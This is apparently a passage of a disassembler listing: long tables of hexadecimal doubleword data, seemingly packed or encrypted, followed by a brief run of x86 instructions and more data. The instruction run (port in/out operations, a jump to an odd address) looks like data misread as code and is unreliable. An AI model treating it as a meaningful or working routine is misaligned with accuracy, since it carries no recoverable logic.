dd 0A00F08ACh, 9EF698BBh, 11A6C831h, 1D2B080h, 0E3EC94h
dd 2D4CC4CEh, 0AE84C9A7h, 51ACDB16h, 2DC708E0h, 0B47B0B4Bh
dd 0AA979FD1h, 752DAFD6h, 56F39542h, 0FD492Eh, 5318563Fh
dd 22110082h, 0A73ECFFCh, 0C7094B40h, 5F59B4D8h, 6178BE46h
dd 48BFE3B7h, 9576B87Fh, 4F403874h, 127B9926h, 0A192881Ch
dd 56A708C5h, 20870F25h, 0B04EBB62h, 5B7601F0h, 30BF6658h
dd 38752F68h, 1612146Bh, 5045F9B5h, 5A9D854Dh, 6D4F95E4h
dd 0ACD0FDE4h, 5AE9F7F0h, 85D090D5h, 7B951AB1h, 62B6A466h
dd 447B3CF9h, 8EA5745h, 5F1C2666h, 0B738E465h, 0C478265Bh
dd 0D4AE0067h, 0ECE8D98Ah, 8B979DD7h, 16BD7D2Dh, 0DF91E780h
dd 17693A27h, 0A9C42FD4h, 1809C472h, 0BE4CBF00h, 9597666Ch
dd 0CBD44B3Eh, 1A668449h, 0B8D7AF50h, 9896A3FDh, 0A851FC2Ch
dd 3255CBD9h, 1DA25B17h, 7B894E69h, 9E26496Fh, 0FC81C966h
dd 0AD912841h, 101A78C8h, 0F327DBDh, 6362BB96h, 0B0502048h
dd 0FF2D64B4h, 565BC2F2h, 27026BC5h, 1E5D1285h, 20525ACDh
dd 0EEBABC15h, 3F848800h, 0FD39173Eh, 0D622423h, 0F1102DD5h
dd 0F8003FEEh, 4B3878Bh, 2C867CEh, 8179B86Eh, 0EA427A03h
dd 4AF3C67Fh, 8D62EB4Dh, 0ED4651h, 2F17C4A7h, 5B3476E1h
dd 55A95F51h, 0B112AAEDh, 0F7D83322h, 51F27C64h, 13BA5B03h
dd 0EC164569h, 0CD1013FCh, 0DE4B761Fh, 7734D58Dh, 17A7E650h
dd 0EF370DDDh, 23611621h, 0A84A753Bh, 57AF80A8h, 1CF3CC98h
dd 5D50490h, 0C529ECC1h, 4EF3A9B0h, 7DC4B9E9h, 0B588B867h
dd 0D91757B7h, 4C79AF23h, 21E9F98Ah, 0DB622D1Bh, 0CB774F56h
dd 1D4A7DCh, 0C96EBB0Ch, 6A65DB6Dh, 31C12AC1h, 5613382Eh
db 4Bh, 4, 0EDh
byte_544547 db 94h ; DATA XREF: ___:off_445258o
dd 0E10462E8h, 1DF1BD0Bh, 1B996C18h, 2089CDA7h, 0D0D9DB04h
dd 0E80031ADh, 2CDE40F4h, 0AA57993Bh, 331D5F2h, 179DD801h
dd 7B1B4EB7h, 0B8214A31h, 60F8A47Eh, 880DCD4Ah, 121A6942h
dd 0C34B0596h, 9B30BB75h, 427254h, 8AC75DD3h, 1649984Ah
dd 1DF6948h, 0CA5EBF52h, 0FF203B65h, 0FCBB1266h, 0AEEE12A6h
dd 9202307Ah, 0C2979A10h, 29E457h, 6BA8B6B4h, 0E887DA5Bh
dd 0BA1AFA03h, 0B837D3DCh, 25E28CCAh, 134C4EDFh, 2EBDFE4Ah
dd 0A8F7FDD2h, 0E63F167Ch, 249BF8C6h, 0A9203396h, 607F6F97h
dd 19DCC8C5h, 0FEAFB713h, 71B34312h, 0E411875Bh, 0DD53B8CDh
dd 7505B589h, 0FBB61ACEh, 3A93A74Eh, 0E2ED73C2h, 0CF5B7F76h
dd 989E6D80h, 707C13Dh, 0A6960EEBh, 0E9AF91D0h, 835B0001h
dd 6B7EB5C2h, 12CDF8DCh, 0BC20A38Dh, 0E972808Ch, 119BDEEh
dd 0E73B22F6h, 7F315B1Ch, 0C04ABFB2h, 29F86068h, 49507E97h
dd 1D59455Bh, 0C5009C18h, 8161C232h, 4A8EE85Bh, 2405FFEBh
dd 7BBEB886h, 4F9A02B9h, 0FA93273Eh, 11A7A829h, 2C719526h
dd 6E25DE4Ah, 6046AD22h, 0B32DA003h, 0A18D8913h, 6096FF80h
dd 664B00B5h, 612B97BAh, 0DD7C8A50h, 1C6032ADh, 2DA429F2h
dd 0E025800Fh, 0EA6BAEF9h, 42071D23h, 0C213685Eh, 1982A7EFh
dd 5DB07FCCh, 1C4BBD95h, 5D826EAEh, 75408B42h, 1AC0C030h
dd 56A2E2BDh, 7E365152h, 0E696FD8Ch, 0E95011DDh, 4EBF5A0Ch
dd 9300F7C9h, 81F4E7E3h, 94B6965Eh, 584DB0E1h, 0DB1D81A8h
dd 5F9217B1h, 9AD7D5B9h, 9B9C8193h, 0E92EBB02h, 0AF37A9DEh
dd 0CE3FD400h, 0F9CB93A8h, 0BFBDD35Ah, 82469AD7h, 0D5E298ADh
dd 0E949D007h, 54C4B671h, 6A2AAE53h, 0CFFE2183h, 0D7C07B82h
dd 0FF821A69h, 6FC6A4B1h, 4082649Eh, 0AA5C7078h, 46B5FF7Ah
dd 2AA4943Dh, 5129318Fh, 162EF3E9h, 0E055A69Fh, 32D8406h
dd 8AF9A08Fh, 0F8A2BB4Ch, 908696D7h, 159920BEh, 64B35012h
dd 9B057E85h, 9BFE6ADBh, 7CFFC04Bh, 942F0CBh, 335730D9h
dd 3E092664h, 0DC128CDAh, 8FC1C307h, 55086C5Fh, 37AA3017h
dd 0E2B616D7h, 0E6D195DEh, 0B514DA2Fh, 658D42C0h, 0A17E2A45h
dd 5E287B64h, 0A7700098h, 0F4C3ED2h, 870EAE38h, 6495337Ch
dd 69ADD5B9h, 4A7439BDh, 94C305A1h, 0C09D9BABh, 281FF282h
dd 0BD2B13B8h, 0B515E4A5h, 3A97D97Bh, 0E0E14DFCh, 14236FBAh
dd 7F6E400h, 0F5C3506h, 78034581h, 94512E20h, 80B39901h
dd 0B93A5F12h, 2B67A95Ah, 0B05D0972h, 4622A7DDh, 0D58ED1FFh
dd 0BC5FFEC4h, 70B1A515h, 0C1B59B2Fh, 26ACEDCh, 9E128968h
dd 0BF0C00E6h, 1E205CE8h, 8092D19Fh, 33791A93h, 990365E0h
dd 684AFAB8h, 7505BA94h, 335023E5h, 6DB52529h, 0D9A24E8h
dd 0D7410887h, 1314467Ch, 99ABFC6Bh, 0AF222B4Eh, 80DF6D9h
dd 2A7FE9Eh, 0D770326Ah, 1B118E37h, 0BCFD8880h, 7000AFA9h
dd 45BFA8F4h, 4C61CC4Bh, 0B64BD452h, 0E8D94A91h, 9FD5EA20h
dd 0B5D55B89h, 871D91E2h, 731AEDCh, 57DCFECDh, 6A76134Ch
dd 90C752FFh, 19B1B5B2h, 0F5BF6680h, 0C4A15CC2h, 0BDC45C36h
dd 292311A1h, 0F691AFC5h, 222370E6h, 16DC8F00h, 0FBA950A6h
dd 7296B209h, 5382DD1Ch, 0FE071E4h, 2625A6E6h, 38AC94Ah
dd 8F2967BBh, 0E4FE92D6h, 7168B590h, 0AD3892A7h, 0E94E5C18h
dd 0C192BB79h, 1A538CE0h, 25F5756h, 9521595Dh, 0B700AD25h
dd 8AD18BDFh, 0C054E9DAh, 26848127h, 67080485h, 0EBDAF4FEh
dd 0B2629Ch, 39AB7FE8h, 0F73102A9h, 87B83C00h, 5B7CEF16h
dd 6A4745C5h, 551D79C2h, 1512A871h, 0D702B2E2h, 7AE9C939h
dd 0C6E30AA1h, 0DD9E20AAh, 689D154Bh, 89A9BD2Fh, 0DE6F5FDh
dd 818040B1h, 0DDFD90F3h, 40A29648h, 19082225h, 4FEE4B00h
dd 27411CC2h, 548217FCh, 4EBB883Ch, 0BC59B800h, 0F76AAEE5h
dd 0D6BE00AFh, 5648683Eh, 5F4B4281h, 99109F8Ah, 0B0048807h
dd 4F3F60E6h, 0CFE07E61h, 612E8223h, 45584A7h, 6A3CCCBFh
dd 78425BBFh, 880970F3h, 87D5C9E6h, 5779DBE4h, 1A91DB35h
dd 0CCFDD880h, 38253EA6h, 0FEB01077h, 7D3BE4F5h, 0BE830113h
dd 0A3A72742h, 0D9D46EB9h, 0D4A04180h, 88EB0481h, 0B87EAD05h
dd 9E6E5FA8h, 7DDFA700h, 7CA2A827h, 11891C27h, 0A241FC47h
dd 34072B1Dh, 0B820ADC0h, 181D016Dh, 2BEA9240h, 0D9DB7AD2h
dd 0EE53A28Eh, 4A8A80C8h, 0D24FE6FDh, 9485479Ah, 52C63286h
dd 0B512EC75h, 0E6A1895Ah, 0F6E2EFBh, 118D7B07h, 0F351B2FBh
dd 104B12D0h, 0F6FA07D4h, 0C6EBE45Dh, 3A2F4EE0h, 5920D3C6h
dd 42F1817h, 0B72E650Fh, 636BAEB1h, 0F41F1A23h, 0A60DB941h
dd 2B2F949Dh, 6C05B0Bh, 5B0F67CEh, 4AD0E68Ah, 854BE2CAh
dd 0CBF6AA6Fh, 7F7A3BF2h, 7837FB9Fh, 7E139903h, 0BA447C21h
dd 20AF14C4h, 0ABD26213h, 8C2B0207h, 0FCE15B0Dh, 0D9602379h
dd 0A40B8324h, 5731C995h, 97B3BE16h, 442FB759h, 3C1B8D09h
dd 0F855D494h, 0B823A116h, 599CE370h, 4B7A7527h, 30DE8ADAh
dd 0FC602554h, 1CCE1D80h, 7037A561h, 29BC7D03h, 7C509A9Eh
dd 16C1403Fh, 4E4EECB1h, 5B4528EEh, 4DEC0B97h, 0EF74C440h
dd 950B46E3h, 0B5D73105h, 0BA30278Ah, 260058D2h, 8DD4974Ch
dd 4DD38B44h, 2F20AE52h, 2D35B4Bh, 293B04E8h, 0AA20F59Dh
dd 0E10BCC73h, 6F2E2C89h, 2017239Ah, 0E3070BF9h, 6E85F9BBh
dd 3717AE11h, 0CB806A43h, 5C7A1Bh, 38EC68FAh, 52504D1Ch
dd 0D9F71097h, 0CC2500E4h, 0F1844AEEh, 0E5003AFBh, 8681B21Ch
dd 4B6707CDh, 0AB5894BBh, 3B136B01h, 56744D03h, 0E6935A89h
dd 0BD9D081Bh, 1546F428h, 1253FB2Eh, 198AB385h, 955F154Dh
dd 882F7DC6h, 9B1301AEh, 6E1FC4E9h, 137DA3FAh, 0F7F187B3h
dd 0F842342Bh, 2BB6D2D4h, 6A3015B2h, 0E4569D76h, 6727BB61h
dd 0B5258918h, 9FB2640Dh, 5ABF5B98h, 214C0C16h, 8DD960AFh
dd 409132B9h, 0A2899849h, 7852C031h, 0F353D732h, 0FB4A6DFCh
dd 409BB8C5h, 0E93EB9C0h, 0FA12BF82h, 0B2C065E7h, 4A890E58h
dd 1538D234h, 5799BA55h, 98F52609h, 1AAB68CFh, 1ADFCE63h
dd 0A09FC8D5h, 0B6204E50h, 71CFE0DCh, 7D5213E2h, 0C804AF7Ch
dd 610E1D81h, 0B763F7AFh, 85E244DEh, 0C433EFDFh, 0FAE0FE27h
dd 89C70B72h, 0E12441BDh, 1B8A250h, 0DEFAE468h, 9DF0BA26h
dd 8523022Eh, 0B1A486F6h, 25D47277h, 0E0EEE0C3h, 13D4F3BEh
dd 0A661CC27h, 989BE380h, 0BBB6C4Ch, 5D901CE8h, 0D37AC456h
dd 13CE5035h, 0F656433Fh, 0DB02D405h, 0CBEA5F5Dh, 803761D7h
dd 0CE6A66EFh, 0CD6BFDBEh, 688CD9B7h, 59DFC92Dh, 54F944E9h
dd 1D351098h, 2FC0D848h, 0DB5F335Eh, 0E1004F7Bh, 0F43F9A28h
dd 0A20F059h, 2398544Eh, 3ACE59A2h, 0ECE98CADh, 3B09FBA0h
dd 78FC21FEh, 0A9195E37h, 9739BD2Eh, 4879C09Eh, 0F2D5EEB1h
dd 25EB884Eh, 9374AA68h, 9EC04B9Ah, 80972854h, 0A9C94207h
dd 33349509h, 76DB23B9h, 5BBD18EEh, 0C9B584A1h, 85C85226h
dd 0E82100B2h, 89D9ED04h, 0C63B393Eh, 0B5880DDh, 508BF256h
dd 752D05BFh, 0ED964F5Dh, 0F22EB986h, 0C0A25842h, 3D2D32FEh
dd 0E6BB0044h, 90628C4Ah, 3059227Dh, 1F6D14BFh, 3E8CA4CEh
dd 986600B7h, 3841A775h, 813CF0E0h, 203B0954h, 0DD5982A3h
dd 0EB5F041Eh, 2EA1638Ah, 177A2021h, 0AF19640Eh, 0E423A920h
dd 55C28A51h, 37D0F4D3h, 0E5851031h, 69B05F27h, 0B1659528h
dd 0FB5ADh, 0A5412A99h
dd 9B05E009h, 0F9928106h, 0EF0ADCEBh, 51D1141Fh, 16B45125h
dd 866BEB5Bh, 77008D57h, 0CCEFA66Fh, 66E237B8h, 1DBF2Eh
dd 0EA53F307h, 6DB84214h, 4EE9DB40h, 0A03FAB12h, 0A61C2Bh
dd 0A62018FDh, 0B612D40Ah, 58E62D08h, 4A3114B2h, 0A94C162Eh
dd 9FEC3Ah, 36F1D905h, 0FFE7A49Ch, 574F2B97h, 9109FEE6h
dd 5926F4E5h, 3D705414h, 0B78D991Dh, 0BB0DDE83h, 59D280B6h
dd 2F2F72BFh, 873A3DAFh, 0E35065FBh, 0B97501A2h, 3D92C5BCh
dd 0C19A7083h, 9EAC74Bh, 0A9574BEFh, 6B9AFF74h, 0A6343877h
dd 0A10FA0E9h, 0CFBC043Bh, 0B04A6DFEh, 0F275FB9h, 0CF947D87h
dd 741C1B5h, 1247CB2Ah, 5DE2334Dh, 8ECEDAD2h, 40E88A25h
dd 0A8B53000h, 2B6B160h, 0FBB9EA63h, 90578E22h, 1E37DB0h
dd 45DE4B29h, 2E5F667Ah, 95597128h, 0DF60F54Fh, 0A187461h
dd 0F3CED811h, 0B75FADB3h, 8D7325C7h, 6066D4A7h, 759392ABh
dd 0C1AFA005h, 0B42861F9h, 0BC255E7Dh, 0F8B6B550h, 16A4EDA0h
dd 86B39E3Ah, 958D37DEh, 0DB6F976Eh, 667826C0h, 31C204CBh
dd 923D995h, 0BD01D056h, 50256173h, 0F0052523h, 7F1382C5h
dd 50EC77FDh, 0C271AF0Bh, 0D785F75Eh, 165692ECh, 0E46CED55h
dd 0A3F26018h, 0D1E0279Fh, 0CFD599E2h, 5B236013h, 0B1171C52h
dd 91B081BAh, 0AF1E4A35h, 7285C439h, 0AE2EE9F8h, 0BD0B6502h
dd 0BBB4A0C5h, 4AA54F33h, 0ED2AE462h, 0AC922A42h, 50EB4E29h
dd 5148E4Dh, 0F9938833h, 17E64BCDh, 0BCB760F0h, 4BC4AB02h
dd 74D2DC6Bh, 0FC06342Dh, 0E69B0B38h, 0B419216h, 0F3475DC5h
dd 0B8E066CAh, 2EC3E72h, 8A7085CDh, 0FB61F90Dh, 47C83B90h
dd 92461E35h, 5700F960h, 0C245B959h, 41B779FEh, 1465903Eh
dd 0ECA43C37h, 0C2C1A4CBh, 50A5018Fh, 2B123CFCh, 0DD4A45E7h
dd 27DA2A0Fh, 83F4C09Dh, 0FF346E2Ch, 5E6ED15Ah, 8BE52F73h
dd 0B29231D9h, 9E8B2DE2h, 2500CD3Fh, 1EE1C7CAh, 0D38F1356h
dd 82014178h, 26026ADFh, 4273F037h, 8467008Ah, 0F6F5E6BCh
dd 1125BD03h, 0BB6AE830h, 514E127Ch, 95DBFB6Dh, 3DE43180h
dd 3E594135h, 8B608089h, 9D5E52C2h, 0AD3DB973h, 594539FAh
dd 2EE8E911h, 0A5B224B8h, 0AA7C8B42h, 71411DDEh, 0C2CF44DCh
dd 4B36EE9Ch, 1A55250Ch, 2BE76F5Ch, 0AAA3F2C9h, 7371DFD1h
dd 0CDA50FA4h, 1E1DC0EDh, 0EFFEAA3Ah, 0D4A9FB0Ah, 0F509CC6Bh
dd 8A14D72Bh, 17658AC4h, 315A28AEh, 4A2E855Ch, 0C82A72DDh
dd 0B2005FB6h, 8218EFF2h, 4A4D7658h, 0BCAAED6Ah, 9A6F00BBh
dd 6614F5CCh, 474F0CEFh, 9889D28Ch, 8F1D61C8h, 729A5B5h
dd 0B7AADF3Eh, 49BD0109h, 0AB945530h, 0B8202545h, 0B01640E5h
dd 0E6D888h, 0FBDB8170h, 0E469E0D0h, 0F7807109h, 447B720Dh
dd 19975205h, 0AD3A5BCAh, 2E6911C2h, 0D1E781C7h, 207FBBCEh
dd 41599557h, 0BD310916h, 0F1B5F09h, 19D94214h, 114A760Fh
dd 0BF041BE2h, 0EA3397D3h, 0C163AFB1h, 0E778DD00h, 27168F73h
dd 8CE83B5Ah, 0B0AC8AC7h, 40EF6AB6h, 0BE804300h, 0CB2C0EA1h
dd 0F95126C0h, 89C8138Bh, 539405Ah, 6700D726h, 0B2C23DCBh
dd 1DD0D137h, 4C8B365Dh, 7D80D380h, 0C0DFD28Bh, 0E24C44EAh
dd 7CBF1D5Fh, 379825Ah, 0B5A93D9Dh, 0B5F46055h, 1084385h
dd 1B2FEB81h, 482E250Bh, 0D5A017B1h, 2403E120h, 6FE745E9h
dd 231313A8h, 0B77E12AEh, 5F5612B3h, 2821A9E2h, 0A4C7DF0Fh
dd 7EB90BB0h, 0D798BA93h, 312C41B1h, 0F56C021Ch, 6C2560DCh
dd 6413127Dh, 0C0039B16h, 4F58A120h, 81273B0Ch, 0E091EF19h
dd 9F2E2899h, 0B9BCE301h, 6B2E2D7Fh, 38172383h, 9CBF548Ch
dd 26411D66h, 0A7105C93h, 590BA0A3h, 29C5055Dh, 0A891CFF5h
dd 25EF4E75h, 0C4AD1E0Ch, 0B81BA5ACh, 61BB5B9Dh, 720C1ADh
dd 0C07C4DDBh, 8E5C5918h, 0DA8AB713h, 0EF9260ABh, 9A1BA2Dh
dd 1EDB8E8h, 0C1FDB7A7h, 0D7C4BEC7h, 4D7700EFh, 0ADE6A43Dh
dd 8D2F89DBh, 5F7504F1h, 0FAF47CB8h, 498D6620h, 8F0617F1h
dd 29400203h, 0A9551585h, 70E45BD6h, 1F0BB27Ah, 0D723E2E8h
dd 9198682h, 0DF185509h, 6DB5EAB3h, 0E0A268B4h, 0B491BAA1h
dd 2E9CE013h, 8CEA8B13h, 2D998C66h, 9D204427h, 3D012065h
dd 0CF5E938Dh, 7C50207Bh, 0F3BF0560h, 4C65A5B6h, 0AC44DD69h
dd 2110C194h, 1CCF824Fh, 4EB79CD5h, 3397BCFh, 6EAFE7D4h
dd 457424B5h, 7CF3AF27h, 476CEAD1h, 277EA780h, 0FD3A8353h
dd 94A900B5h, 2ADB5CF4h, 72AF253Bh, 569C46CEh, 0BEE500D4h
dd 17698F4Ch, 1604B7BAh, 19B50950h, 605B9BD1h, 4B525DE2h
dd 75FFBDFCh, 0E1A56090h, 0DC0694h, 450A9198h, 2ACC21EEh
dd 57E3264Ah, 3336F04Fh, 1E45BD12h, 508491E3h, 8D9EAB04h
dd 18D14F81h, 9FE03AC4h, 801A4091h, 0D73CF425h, 345EAE14h
dd 0D3C093DEh, 3A16280Dh, 0BB38720Ch, 0F3C576CAh, 3923C104h
dd 0BE8E2B2Eh, 0C46DC134h, 981CAB9Eh, 0AD22A50h, 0A4CFF589h
dd 52B51223h, 97BABC2h, 0F9C9F200h, 43BDBF66h, 0AD852E97h
dd 0B63A8B01h, 0DE533CB1h, 5B27A1B2h, 0B7C2AF5Ch, 0FA61DDD8h
dd 0D1B13160h, 319370D2h, 5F8564Bh, 5BDE29C0h, 0B2090E8Fh
dd 5D5F494Bh, 7DE98147h, 4EA6B438h, 0E8B00205h, 0D0FF9529h
dd 0C89ABB73h, 90593527h, 662F4E8h, 7F9B57A8h, 0BB0470A4h
dd 51A6EF27h, 0D288E2BAh, 80BBE524h, 3281A61Bh, 0EAC0C631h
dd 0E2A75953h, 0E1FD8F90h, 8173519Dh, 7314F0ADh, 0D5E6A55Ah
dd 0BABB9890h, 7BD3821Eh, 57894A6Ch, 0D5A712B5h, 6A581B49h
dd 59E0C6B6h, 7312EABDh, 47EC8B0Fh, 0D18509B0h, 6AE2165Ah
dd 556AEFD2h, 1DC0A709h, 738253E2h, 215E2AA1h, 4CD780E0h
dd 1DF20E9h, 650030B9h, 0AD4AE1BBh, 427B3877h, 0C462839Dh
dd 0AA1D63DFh, 16C8EDDAh, 9EEFA8C0h, 859D122Bh, 0F2FEE608h
dd 46D5321Bh, 0B62C35A8h, 0AE3C13F6h, 1823286Fh, 49CDD427h
dd 46D61856h, 51D01F14h, 0FDD6CB41h, 0E6425043h, 90C5EC06h
dd 2551252Dh, 46DEE65Eh, 26150218h, 0DD13D067h, 7B46C369h
dd 0FBC166A0h, 2A605001h, 0AA1A6920h, 5BF0413h, 98197339h
dd 60058DE7h, 810F5A61h, 0A56CD1C9h, 5851B180h, 3702165Fh
dd 1BFBC055h, 2AABFF5Eh, 1F1A687Eh, 7962D5D7h, 81505F5Ch
dd 0F0DF24C3h, 24BB58FEh, 767F7816h, 8B7B5EACh, 48F8D639h
dd 9E80CED4h, 0DFDE48B8h, 6FBEDED7h, 0BB310C41h, 25DB9A5Dh
dd 6BE64295h, 45770979h, 0BB70DE9Fh, 0AF507B9Dh, 0F40094B7h
dd 0FBB422D9h, 1F88249Fh, 12CD0905h, 0D2D20B94h, 618BA6FDh
dd 73C0D46Dh, 4B9C1622h, 6145CB84h, 3546D7F6h, 3182282Eh
dd 4F9E7AE1h, 0C0F29D80h, 4A98E1BEh, 2704095Dh, 892159E9h
dd 505C0B69h, 8D64877h, 0D1272959h, 0E3818064h, 24465EF5h
dd 55509497h, 0B00B9C66h, 0C81B5935h, 7E7297D1h, 0C58B860Eh
dd 6D0B72B7h, 9949E6DFh, 16C80ECh, 25EAB76Eh, 81897212h
dd 16B2FFE6h, 4983F630h, 0BA130A36h, 172AAFA1h, 1DC0738Fh
dd 9501B2C9h, 0D722F125h, 1C138637h, 8AAB7A65h, 50961C07h
dd 9D8D8982h, 9267FC0Bh, 45DCEA35h, 0D41997F9h, 37348F8h
dd 30219D12h, 0B1918AABh, 8C6BB8FCh, 0BD12236Dh, 9BEB2161h
dd 57A69662h, 7A31A00h, 459D23EDh, 0AF9027B2h, 0A6B12E09h
dd 0EF46C650h, 0F21C1D23h, 0AA8C8011h, 0FD2CC835h, 0B195729Dh
dd 2A5680BEh, 67B69D28h, 93B18ED2h, 2351E541h, 4512DD6Ah
dd 2E8BFB87h, 5A65F250h
dd 0D7F9A230h, 0E43DF66Ah, 5D0E4080h, 25CA73D4h, 3B609CA9h
dd 110AAC2h, 24D18D8Bh, 5B6261C1h, 4528E1B4h, 0F9FC1703h
dd 7AE89702h, 0C296D9C4h, 67D650C0h, 0CCFAFF45h, 0DC06E926h
dd 965B2668h, 0DE1E89F2h, 84A8AD2Ah, 0A2FA1331h, 2CFFACEBh
dd 0A5F326DCh, 16916790h, 78F0011Ch, 80864A00h, 4AAE69Bh
dd 0A85A3BD7h, 0A307B87Fh, 0D50B8738h, 8F805B37h, 2D71B35h
dd 0B0495B9Fh, 0A0AE8A36h, 9AE8894Fh, 0D302BF89h, 0E6563667h
dd 1C1B3DE2h, 0D450BCh, 33D2DADCh, 0CF81A493h, 5DBC4309h
dd 446FD51Eh, 0D58968E2h, 0ACB0735Ah, 5B17D12Dh, 0DC6BAE1Eh
dd 45785B09h, 9880094h, 120F51B3h, 0E25FD9B7h, 82348808h
dd 0FF4DBB66h, 3C6AE256h, 55E9C616h, 9079C2E8h, 0F50448F4h
dd 0FE26DA98h, 0D2F7BDACh, 0DD29CCE9h, 7BC12EB1h, 38FF020h
dd 0A76E7045h, 8AE98901h, 0CE034E58h, 66FF4CC3h, 39CD826h
dd 3B880087h, 0D522EDA2h, 0BE03513Ch, 0BA348171h, 56EFC0D3h
dd 8DDA0335h, 26739CF4h, 0C10E01A8h, 9098E700h, 4DF652F7h
dd 0A77784h, 0C558B7D7h, 0F31C7297h, 0B9E8BE67h, 63F6D600h
dd 7493017Ah, 0C81740C7h, 6A00C7ECh, 0E71CF39Bh, 750F3FC0h
dd 0E2333E4Eh, 0B1DDEE80h, 1A65DCA0h, 0AB000971h, 4A420B40h
dd 0EE4D06C5h, 59B600D9h, 0B1E65124h, 17001FDEh, 47E00E70h
dd 3F750813h, 0FB00FA90h, 26851192h, 0ED00E271h, 602E3FD2h
dd 0C962AFh, 88948C7h, 0EF9DEE21h, 39F72000h, 0EBE87BCDh
dd 0DB3E0052h, 0E52A65B4h, 7201DDB0h, 94ABD207h, 0DFD4FB8Ch
dd 7D880047h, 0DA06F1Ch, 80008FFCh, 0A79840C1h, 339B5Eh
dd 0F9A18619h, 4F6769EAh, 702C8F00h, 38A9F588h, 0E378ADh
dd 0C74846DFh, 0D43B4F08h, 355C4100h, 4A27ACB4h, 69213F4Bh
dd 0F98C8301h, 8026F599h, 5D16A5E8h, 49DC33h, 0D5ADE4FDh
dd 222BC39h, 2EE2734Bh, 30A6C944h, 0D3B25FE7h, 1D7E52BDh
dd 0C09F6CC0h, 0F640A53Ch, 62906651h, 4E2246FEh, 72A00701h
dd 0E0C0F51Ah, 600D7A82h, 636E4AC0h, 0CDBFD0h, 5A028342h
dd 8CE89C31h, 5439CC17h, 0D60BB200h, 3B52C40h, 0A66923DCh
dd 0FAD89E71h, 30007D92h, 6E22F797h, 3DB6CA1h, 0B05D0899h
dd 2EB00417h, 5018586Fh, 0B3F21E37h, 580190F0h, 7100B8ABh
dd 20D6D366h, 311D5B14h, 75C0A9DEh, 5061F41Bh, 9DD2123Dh
dd 3EA20076h, 92A33609h, 0E015FA00h, 2B647D01h, 0F11E1272h
dd 0CF2A005Eh, 6AA5E982h, 5F42F1A4h, 3C05EA00h, 0EB02C14Eh
dd 0BBCCD418h, 30BDC81Fh, 90F7A0Dh, 86006BFEh, 0F36B7F6h
dd 0A2E75Eh, 337F1298h, 0C38FD7AEh, 7D1CAFA0h, 18146E88h
dd 4592F5FDh, 5303E6F1h, 8FC44B42h, 0EFF798C6h, 0EB1FC098h
dd 0AA4075E0h, 0A04B9612h, 0C089E160h, 9692CFh, 0C48DC24Dh
dd 490E43CCh, 974C9503h, 308E536Fh, 0CF86FC50h, 0DC007516h
dd 6C2F6DC7h, 73DD48F4h, 9F4C604Ah, 1FF0A059h, 0B617EA00h
dd 310439D6h, 7270289Eh, 0F6BF18B5h, 1677929Ah, 0FBC4F900h
dd 73467B94h, 5FD8E912h, 2CB501C9h, 3DE22B7h, 1DB241E8h
dd 2FDC4067h, 0D803ABE0h, 0B7583445h, 4824F282h, 120C7830h
dd 48C6BED5h, 65401349h, 2F71872h, 0AB107F38h, 90A0E4A3h
dd 0EC218C97h, 7A00BC92h, 0C9C32DF9h, 0FC1F4995h, 6133F7Bh
dd 35608900h, 0DE08C143h, 8241AC00h, 184DC2C9h, 0CDB20045h
dd 0FF8F8A04h, 800DB10h, 0EB9F689Dh, 50F2EF24h, 76EE7AEh
dd 6D265F82h, 0F1BAB020h, 3B04709Fh, 596AFD68h, 0E01F4A82h
dd 0C3E387FBh, 56E9F49Eh, 0EF3FCE8h, 0B7004F79h, 8E49F207h
dd 0FA13C5h, 7DDE37E3h, 7A14DD12h, 51489500h, 6D23F698h
dd 19AE4A2h, 0C627FA2Fh, 0E8B346C9h, 3EC065ECh, 0AB774B31h
dd 0B9A700FBh, 45791B90h, 7E054A3Dh, 2E394DF1h, 0B235780h
dd 415C082h, 0C8C621C0h, 61FA4700h, 0E4ADE22Dh, 306500AAh
dd 0D914CD51h, 0D005AB5h, 0AEE1B818h, 0A9296D24h, 0A5E0BFC6h
dd 0F4F9EEC0h, 49F10077h, 914A0914h, 70001EFBh, 2C976A9Fh
dd 4EBB499h, 861F6CA3h, 9A6C008h, 55008A85h, 0D70C038Ch
dd 5D0810Eh, 0C846B2B0h, 4C1580CCh, 4000B83h, 0BA1FC2D6h
dd 18859C43h, 0C2D30A7Dh, 0DB136E79h, 2600528Fh, 0BDD4CB18h
dd 0CFD271B5h, 4AA6B120h, 3E0E2F3Dh, 5C35C833h, 62CC8DDAh
dd 2E2BA0CCh, 371A75h, 0AFA3B253h, 79A0561h, 0A4AED90Eh
dd 6FF804BFh, 8CC73481h, 53349A86h, 6B02105Eh, 0F1FB2AB7h
dd 0D8BA8E04h, 12594718h, 4095F2FAh, 0A9E5E64Fh, 9003FB66h
dd 2D354C43h, 291D075Ah, 1C7C8B1Eh, 0ADA6E68Fh, 12815520h
dd 42E0AFB0h, 44FDBC00h, 4F341CC0h, 21BAA9A8h, 55181392h
dd 2DF28837h, 810D00C6h, 0F386598Eh, 0AF0F3AA7h, 0E330DFh
dd 20D9987Dh, 0E5AB196Eh, 828FE72Ah, 4EE1EC3Dh, 0F60F40DFh
dd 48B7E08Ah, 0A0B6FB3h, 7F40A338h, 46004149h, 3547E408h
dd 2C4F972Ah, 836B0F44h, 22DBEA92h, 0BBA89940h, 0EEF7261Dh
dd 2404840h, 0A49F8F2h, 9F55A2ADh, 43003F7Bh, 0EC236BCCh
dd 5103E4B7h, 4968DAE2h, 4C5790F4h, 0DC4E4D17h, 35882AC0h
dd 0BB1C3C6Eh, 0E800E578h, 0F5C9B29Bh, 9A1B0052h, 0CDD9F19h
dd 0E900A803h, 2508A6E1h, 0CAD5B6h, 8DF6EB37h, 0C154BBD4h
dd 31DEB006h, 3D8A4BE4h, 9000CE97h, 223A16BCh, 5FFE9219h
dd 0A87BB000h, 503F083Dh, 0C18A26BFh, 0C4593BBh, 0E1562FE2h
dd 7E83A14Ch, 0F50797B0h, 0A8DD325Ch, 4B2648C9h, 72340222h
dd 0F2BBF01Fh, 753EBCE0h, 9500B399h, 117C457Ah, 2EC970FEh
dd 28C1828Dh, 6CF3A8Eh, 0E6568B9Eh
db 59h, 80h, 0D4h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 0CA63046Eh
in eax, dx
push es
add [edi-76A3DBD4h], al
cmp al, 0E9h
dec ebx
push ss
lahf
cli
cmp dl, [esi+8]
out 81h, al ; DMA page register 74LS612:
; Channel 2 (diskette DMA) (address bits 16-23)
mov byte ptr [ebx-7Dh], 0EEh
jmp near ptr 280E9007h
; ---------------------------------------------------------------------------
dd 0A40FBE40h, 260616F3h, 0C168BF0h, 5404C483h, 482810Fh
dd 8921EC38h, 0C29BFF14h, 5A0856A8h, 5E30FF66h, 0A58B7241h
